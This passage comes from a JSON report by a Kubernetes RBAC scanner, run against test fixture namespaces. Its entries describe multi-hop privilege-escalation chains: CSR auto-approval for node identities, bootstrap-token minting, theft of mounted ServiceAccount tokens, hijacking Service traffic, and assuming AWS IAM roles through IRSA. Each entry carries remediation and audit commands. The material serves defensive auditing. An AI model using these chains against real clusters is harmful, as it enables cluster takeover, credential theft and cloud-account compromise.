        "gains": "can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "rbac-ns-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-CONFUSED-DEPUTY-001:ServiceAccount/cutres-deputy-tenant/cutres-deputy:token_mint",
    "rule_id": "KUBE-CONFUSED-DEPUTY-001",
    "severity": "HIGH",
    "score": 6.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cutres-deputy-tenant/cutres-deputy` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/cutres-deputy-tenant/cutres-deputy` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager` via `operator_reconcile` (write certificates.cert-manager.io): can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-deputy",
      "namespace": "cutres-deputy-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/cutres-deputy-tenant/cutres-deputy` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cutres-deputy-tenant/cutres-deputy`.",
      "Acting as `ServiceAccount/cutres-deputy-tenant/cutres-deputy`, the attacker uses the `operator_reconcile` technique to reach `ServiceAccount/cert-manager/cert-manager` via `write certificates.cert-manager.io`, which gains can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. operator_reconcile [write certificates.cert-manager.io]",
        "2. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "operator_reconcile",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "operator_reconcile",
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `write certificates.cert-manager.io` that enables the first hop (`ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager`). Evaluated cut: removing this subject from the `cutres-deputy-cert-a` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `write certificates.cert-manager.io` that enables the first hop (`ServiceAccount/cutres-deputy-tenant/cutres-deputy` → `ServiceAccount/cert-manager/cert-manager`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-deputy",
          "namespace": "cutres-deputy-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "write certificates.cert-manager.io",
        "gains": "can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret",
        "source_binding": "cutres-deputy-cert-a",
        "source_role": "cutres-deputy-cert",
        "binding_namespace": "cutres-deputy-tenant"
      },
      {
        "step": 2,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-deputy",
          "namespace": "cutres-deputy-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "write certificates.cert-manager.io",
        "gains": "can steer cert-manager/cert-manager, which issues a certificate with an attacker-chosen subject and writes it to a Secret",
        "source_binding": "cutres-deputy-cert-b",
        "source_role": "cutres-deputy-cert",
        "binding_namespace": "cutres-deputy-tenant"
      },
      {
        "step": 2,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-CONFUSED-DEPUTY-001:ServiceAccount/deepchain-tenant/deepchain-deployer:token_mint",
    "rule_id": "KUBE-CONFUSED-DEPUTY-001",
    "severity": "HIGH",
    "score": 6.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-deployer` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-deployer` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller` via `operator_reconcile` (write kustomizations.kustomize.toolkit.fluxcd.io): can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source\n  2. `ServiceAccount/flux-system/kustomize-controller` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-deployer",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-deployer` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/deepchain-tenant/deepchain-deployer` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/deepchain-tenant/deepchain-deployer`.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-deployer`, the attacker uses the `operator_reconcile` technique to reach `ServiceAccount/flux-system/kustomize-controller` via `write kustomizations.kustomize.toolkit.fluxcd.io`, which gains can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source.",
      "Acting as `ServiceAccount/flux-system/kustomize-controller`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. operator_reconcile [write kustomizations.kustomize.toolkit.fluxcd.io]",
        "2. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "operator_reconcile",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "operator_reconcile",
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `write kustomizations.kustomize.toolkit.fluxcd.io` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `write kustomizations.kustomize.toolkit.fluxcd.io` that enables the first hop (`ServiceAccount/deepchain-tenant/deepchain-deployer` → `ServiceAccount/flux-system/kustomize-controller`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "operator_reconcile",
        "technique": "KUBE-CONFUSED-DEPUTY-001",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-deployer",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "permission": "write kustomizations.kustomize.toolkit.fluxcd.io",
        "gains": "can steer flux-system/kustomize-controller, which applies arbitrary manifests from an attacker-controlled source",
        "source_binding": "deepchain-gitops",
        "source_role": "deepchain-gitops",
        "binding_namespace": "deepchain-tenant"
      },
      {
        "step": 2,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "kustomize-controller",
          "namespace": "flux-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/nodeid-fixtures/nodeid-joiner:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 6.699999999999999,
    "category": "lateral_movement",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-joiner` can **intercept in-cluster Service traffic** in 4 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (4 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource\n  2. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator\n  4. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `service_backend_rewrite` (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/nodeid-fixtures/nodeid-joiner`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/hookbackend-fixtures/hookbackend-operator` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker rewrites a Service's spec (`get,list,patch services`): its selector, so it points at pods the attacker controls, its ports, or its type (an `ExternalName` sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. service_backend_rewrite [get,list,patch services]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 4,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "csr_nodeclient_autoapprove",
        "node_token_request",
        "pod_create_token_theft",
        "service_backend_rewrite"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "service_backend_rewrite",
        "technique": "KUBE-PRIVESC-022",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,patch services",
        "gains": "can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses",
        "source_binding": "hookbackend-operator",
        "source_role": "hookbackend-operator",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:aws_iam_role:arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 6.65,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (4 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa\n  4. `ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `irsa_assume_role` (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cloud-eks-imp/imp-irsa` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cloud-eks-imp/imp-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `arn:aws:iam::123456789012:role/ImpersonatorAdminRole`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. irsa_assume_role [arn:aws:iam::123456789012:role/ImpersonatorAdminRole]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 4,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "pod_create_token_theft",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
